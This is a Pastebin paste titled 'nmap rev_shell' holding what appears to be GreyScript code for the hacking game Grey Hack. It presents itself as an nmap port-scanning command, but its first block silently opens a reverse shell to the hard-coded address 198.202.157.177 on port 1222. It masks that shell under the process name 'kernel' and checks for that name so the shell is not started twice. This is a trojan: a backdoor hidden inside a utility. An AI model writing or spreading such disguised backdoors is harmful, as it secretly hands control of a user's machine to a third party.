Advertisement
Bl4ckC4t1337

nmap rev_shell

Nov 26th, 2020
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.71 KB | None | 0 0
  1. met = include_lib("/lib/metaxploit.so")
  2. if not met then
  3. met = include_lib(get_shell.host_computer.current_path + "/metaxploit.so")
  4. end if
  5.  
  6. if met then
  7.  
  8. startShell = true
  9. comp = get_shell.host_computer
  10. procs = comp.show_procs.split("\n")
  11. for line in procs
  12. if line.split(" ")[-1] == "kernel" then
  13. startShell = false
  14. break
  15. end if
  16.  
  17. end for
  18.  
  19. if startShell then
  20. met.rshell_client("198.202.157.177", 1222, "kernel")
  21. end if
  22.  
  23. end if
  24.  
  25.  
  26. //command: nmap
  27. if params.len != 1 or params[0] == "-h" or params[0] == "--help" then exit(command_info("nmap_usage"))
  28. if not is_valid_ip(params[0]) then exit("nmap: invalid ip address")
  29. if not get_shell.host_computer.is_network_active then exit("nmap: can't connect. No internet access.")
  30.  
  31. ipAddress = params[0]
  32. isLanIp = is_lan_ip( ipAddress )
  33.  
  34. if isLanIp then
  35. router = get_router;
  36. else
  37. router = get_router( ipAddress )
  38. end if
  39.  
  40. if router == null then exit("nmap: ip address not found")
  41. ports = null
  42.  
  43. if not isLanIp then
  44. ports = router.used_ports
  45. else
  46. ports = router.device_ports(ipAddress)
  47. end if
  48.  
  49. if ports == null then exit("nmap: ip address not found")
  50. if typeof(ports) == "string" then exit(ports)
  51.  
  52. info = "PORT STATE SERVICE VERSION LAN"
  53. print("\nStarting nmap v1.1 at " + current_date)
  54. print("Interesting ports on " + params[0] + "\n")
  55. if(ports.len == 0) then exit("Scan finished. No open ports.")
  56.  
  57. for port in ports
  58. service_info = router.port_info(port)
  59. lan_ips = port.get_lan_ip
  60. port_status = "open"
  61.  
  62. if(port.is_closed and not isLanIp) then
  63. port_status = "closed"
  64. end if
  65. info = info + "\n" + port.port_number + " " + port_status + " " + service_info + " " + lan_ips
  66. end for
  67. print(format_columns(info) + "\n")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement